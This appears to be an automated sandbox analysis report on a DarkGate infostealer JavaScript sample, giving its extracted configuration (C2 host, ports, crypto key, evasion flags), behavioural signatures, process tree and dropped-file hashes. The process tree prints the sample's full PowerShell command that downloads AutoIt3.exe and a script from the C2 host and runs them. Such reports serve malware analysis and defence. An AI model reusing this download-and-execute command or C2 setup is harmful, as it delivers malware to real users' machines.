Analysis

  • max time kernel
    91s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2023, 17:27

General

  • Target
    1b2bfebd6093d8d95a03b4f732f89903ae6f828b292ab5765d0091b1.js
  • Size 135KB
  • Sample231025-v1eynsda29
  • SHA256 21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • darkgate

Botnet
  • ADS5

C2
  • http://sftp.bitepieces.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    443

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    ibUsJJzrDXJckq

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    7000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    ADS5

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1b2bfebd6093d8d95a03b4f732f89903ae6f828b292ab5765d0091b1.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4396
      • C:\temp\AutoIt3.exe
        "C:\temp\AutoIt3.exe" rzskfhle.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4228

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_zcvgz2d4.2lh.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zcvgz2d4.2lh.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoIt3.exe

        • Path C:\temp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        AutoIt3.exe

        • Path C:\temp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        rzskfhle.au3

        • Path C:\temp\rzskfhle.au3
        • Size 491KB
        • SHA256 12c7dd3161640f5af1537967c94898fb93d99fa94be14cf747ea1ff46b3ca7b0
        • MD5 SHA1 SHA512 SSDEEP

        memory/4228-30-0x0000000001440000-0x0000000001840000-memory.dmp

        memory/4228-31-0x0000000004590000-0x00000000048BA000-memory.dmp

        memory/4228-32-0x0000000004590000-0x00000000048BA000-memory.dmp

        memory/4396-11-0x0000014125F80000-0x0000014125F90000-memory.dmp

        memory/4396-10-0x00007FFA7D9F0000-0x00007FFA7E4B1000-memory.dmp

        memory/4396-13-0x0000014125F80000-0x0000014125F90000-memory.dmp

        memory/4396-12-0x0000014125F80000-0x0000014125F90000-memory.dmp

        memory/4396-27-0x00007FFA7D9F0000-0x00007FFA7E4B1000-memory.dmp

        memory/4396-0-0x0000014140510000-0x0000014140532000-memory.dmp